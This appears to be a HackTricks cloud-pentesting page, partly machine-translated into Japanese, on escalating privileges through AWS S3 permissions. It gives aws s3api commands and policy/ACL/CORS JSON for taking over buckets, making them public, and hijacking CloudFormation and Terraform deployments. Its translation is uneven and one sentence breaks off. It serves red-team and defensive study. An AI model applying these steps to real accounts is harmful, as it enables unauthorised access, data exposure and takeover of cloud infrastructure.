AWS - S3 Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

これらの権限を対象のバケットに対して持つ攻撃者は、リソースを乗っ取り権限を昇格させることができる可能性があります。

例えば、“cf-templates-nohnwfax6a6i-us-east-1” という cloudformation バケットに対する 権限 を攻撃者が持っている場合、デプロイを乗っ取ることができます。アクセスは以下のポリシーで付与できます:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

And the hijack is possible because there is a small time window from the moment the template is uploaded to the bucket to the moment the template is deployed. An attacker might just create a lambda function in his account that will trigger when a bucket notification is sent, and hijacks the content of that bucket.

The Pacu module cfn__resouce_injection can be used to automate this attack.
For mor informatino check the original research: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

これらは get and upload objects to S3 権限です。AWS 内外のいくつかのサービスは config files を保存するために S3 ストレージを利用します。
攻撃者がそれらに対して read access を持っていれば、sensitive information を発見する可能性があります。
攻撃者がそれらに対して write access を持っていれば、modify the data to abuse some service and try to escalate privileges するためにデータを改変できる可能性があります。
いくつかの例を以下に示します:

  • もし EC2 インスタンスが user data in a S3 bucket を保存している場合、攻撃者はそれを改変して execute arbitrary code inside the EC2 instance させることができます。

s3:PutObject, s3:GetObject (optional) over terraform state file

It is very common that the terraform state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is .tfstate, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have s3:* and sometimes even business users have s3:Put*.

So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of terraform - most of the time AdministratorAccess, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making terraform delete legitimate resources.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

攻撃者は from the same account である必要があり、そうでない場合はエラー The specified method is not allowed will trigger が発生しますが、この権限があれば当該バケットに対して自身にさらに多くの権限を付与し、読み取り、書き込み、変更、削除、公開などを行えるようになります。

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

攻撃者はこれらの権限を悪用して、特定の buckets に対するアクセスを攻撃者自身により多く付与することができます。\ 攻撃者は同じアカウントに所属している必要はありません。さらに、write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対する自分のアクセス権を拡大することができます。

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対して Acl を設定できると想定されます。

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。この設定はどの Web ドメインがバケットのエンドポイントにアクセスできるかを制御します。寛容なポリシーを設定すると、任意のサイトがブラウザ経由で直接バケットにリクエストを送り、レスポンスを読み取れるようになります。

つまり、バケットからホストされている Web アプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用して、アプリによってはユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする